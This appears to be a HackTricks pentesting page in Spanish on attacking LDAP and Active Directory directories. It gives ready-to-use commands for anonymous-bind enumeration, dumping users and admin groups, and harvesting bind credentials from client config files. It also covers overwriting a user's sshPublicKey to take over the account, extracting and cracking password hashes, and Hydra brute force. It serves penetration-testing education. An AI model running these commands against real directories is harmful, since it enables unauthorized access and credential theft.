389, 636, 3268, 3269 - Pentesting LDAP

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

El uso de LDAP (Lightweight Directory Access Protocol) se orienta principalmente a localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque más ligero en comparación con su predecesor, DAP, al tener una huella de código menor.

Los directorios LDAP están estructurados para permitir su distribución en varios servidores, con cada servidor albergando una versión del directorio replicada y sincronizada, denominada Directory System Agent (DSA). La responsabilidad de gestionar las solicitudes recae íntegramente en el servidor LDAP, que puede comunicarse con otras DSA según sea necesario para ofrecer una respuesta unificada al solicitante.

La organización del directorio LDAP se asemeja a una jerarquía en árbol, que comienza con el directorio raíz en la parte superior. Ésta se ramifica hacia países, que a su vez se dividen en organizaciones, y luego en unidades organizativas que representan distintas divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluyendo tanto personas como recursos compartidos como archivos e impresoras.

Puerto por defecto: 389 y 636(ldaps). Global Catalog (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

Formato de Intercambio de Datos LDAP

LDIF (Formato de Intercambio de Datos LDAP) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Líneas 1-3 definen el dominio de nivel superior local
  • Líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
  • Líneas 10-16 definen 2 unidades organizativas: dev y sales
  • Líneas 18-26 crean un objeto del dominio y asignan atributos con valores

Escribir datos

Ten en cuenta que si puedes modificar valores podrías llevar a cabo acciones realmente interesantes. Por ejemplo, imagina que puedes cambiar la información “sshPublicKey” de tu usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces ssh está leyendo las claves públicas desde LDAP. Si puedes modificar la clave pública de un usuario, podrás iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Artefactos LDAP del lado del cliente en Linux

En hosts Linux integrados con LDAP/AD, secretos valiosos a menudo residen en la configuración del cliente, no solo en el propio servidor LDAP.

Archivos comunes:

ls -l /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null
sed -n '1,120p' /etc/sssd/sssd.conf 2>/dev/null
sed -n '1,120p' /etc/nslcd.conf 2>/dev/null

Claves de alto valor:

  • ldap_uri and ldap_search_base: dónde y qué consultar
  • ldap_default_bind_dn and ldap_default_authtok: credenciales de bind reutilizables
  • id_provider / auth_provider: te indica si SSSD está usando LDAP, Kerberos, o ambos

Siguientes pasos útiles:

grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

ldapsearch -x -H ldap://<target> -D "<bind-dn>" -w '<password>' -b "<base-dn>"

Qué buscar:

  • legible por todos sssd.conf / nslcd.conf
  • credenciales de bind en cleartext
  • integraciones de SSH o sudo respaldadas en un directorio que convierten una configuración legible en un impacto real en la autorización

Sniff clear text credentials

Si LDAP se usa sin SSL puedes sniff credentials in plain text en la red.

También, puedes realizar un ataque MITM en la red entre el servidor LDAP y el cliente. Aquí puedes hacer un Downgrade Attack para que el cliente use las credentials in clear text para iniciar sesión.

Si SSL se usa puedes intentar hacer un MITM como el mencionado arriba pero ofreciendo un certificado falso, si el usuario lo acepta, puedes degradar el método de autenticación y ver las credenciales de nuevo.

Acceso anónimo

Eludir la verificación TLS SNI check

Según this writeup con solo acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com) pudo contactar el servicio LDAP y extraer información como usuario anónimo:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds allow atacantes no autenticados to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
However, admins may have needed to configurar una aplicación concreta para permitir anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

Enumeración LDAP anónima con NetExec (null bind)

If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:

  • (objectClass=*) to inventory objects under a base DN
  • (sAMAccountName=*) to harvest user principals

Examples:

# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

Qué buscar:

  • sAMAccountName, userPrincipalName
  • memberOf y OU placement para acotar targeted sprays
  • pwdLastSet (patrones temporales), flags de userAccountControl (disabled, smartcard required, etc.)

Nota: Si anonymous bind no está permitido, normalmente verás un error de Operations indicando que se requiere un bind.

Credenciales válidas

Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador de Dominio usando:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeration

Automatizado

Con esto podrás ver la información pública (como el nombre de dominio):

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Ver la enumeración LDAP con python

Puedes intentar enumerar un LDAP con o sin credenciales usando python: pip3 install ldap3

Primero intenta conectar sin credenciales:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Si la respuesta es True como en el ejemplo anterior, puedes obtener algunos datos interesantes del servidor LDAP (como el contexto de nombres o el nombre de dominio):

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Una vez que tengas el naming context puedes hacer consultas más interesantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

O dump todo el ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch es un script en Python útil para enumerar usuarios, grupos y equipos de un dominio Windows mediante consultas LDAP.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Comprobar null credentials o si tus credentials son válidas:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Si encuentras algo que diga “bind must be completed”, significa que las credenciales son incorrectas.

Puedes extraer todo de un dominio usando:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extraer usuarios:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extraer equipos:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer mi información:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Domain Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Domain Users:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Enterprise Admins:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Remote Desktop Group:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Para ver si tienes acceso a alguna password, puedes usar grep después de ejecutar una de las consultas:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Por favor, ten en cuenta que las contraseñas que puedes encontrar aquí podrían no ser las reales…

pbis

Puedes descargar pbis desde aquí: https://github.com/BeyondTrust/pbis-open/ y normalmente se instala en /opt/pbis.
Pbis permite obtener información básica fácilmente:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Interfaz gráfica

Apache Directory

Download Apache Directory from here. You can find an example of how to use this tool here.

jxplorer

Puedes descargar una interfaz gráfica con servidor LDAP aquí: http://www.jxplorer.org/downloads/users.html

Por defecto está instalado en: /opt/jxplorer

Godap

Godap es una interfaz de usuario terminal interactiva para LDAP que puede usarse para interactuar con objetos y atributos en AD y otros servidores LDAP. Está disponible para Windows, Linux y MacOS y soporta simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, junto con varias otras funciones especializadas como searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.

You can access it in https://github.com/Macmod/godap. Para ejemplos de uso e instrucciones lee la Wiki.

Ldapx

Ldapx es un proxy LDAP flexible que puede usarse para inspeccionar & transformar tráfico LDAP de otras herramientas. Puede usarse para ofuscar tráfico LDAP para intentar evadir la protección de identidad & las herramientas de monitorización LDAP e implementa la mayoría de los métodos presentados en la MaLDAPtive talk.

Puedes obtenerlo desde https://github.com/Macmod/ldapx.

Autenticación vía Kerberos

Usando ldapsearch puedes authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI

POST

Si puedes acceder a los archivos donde se contienen las bases de datos (podrían estar en /var/lib/ldap). Puedes extraer los hashes usando:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Puedes alimentar a john con el hash de la contraseña (desde ‘{SSHA}’ hasta ‘structural’ sin añadir ‘structural’).

Archivos de configuración

  • General
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

Comandos automáticos de HackTricks

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks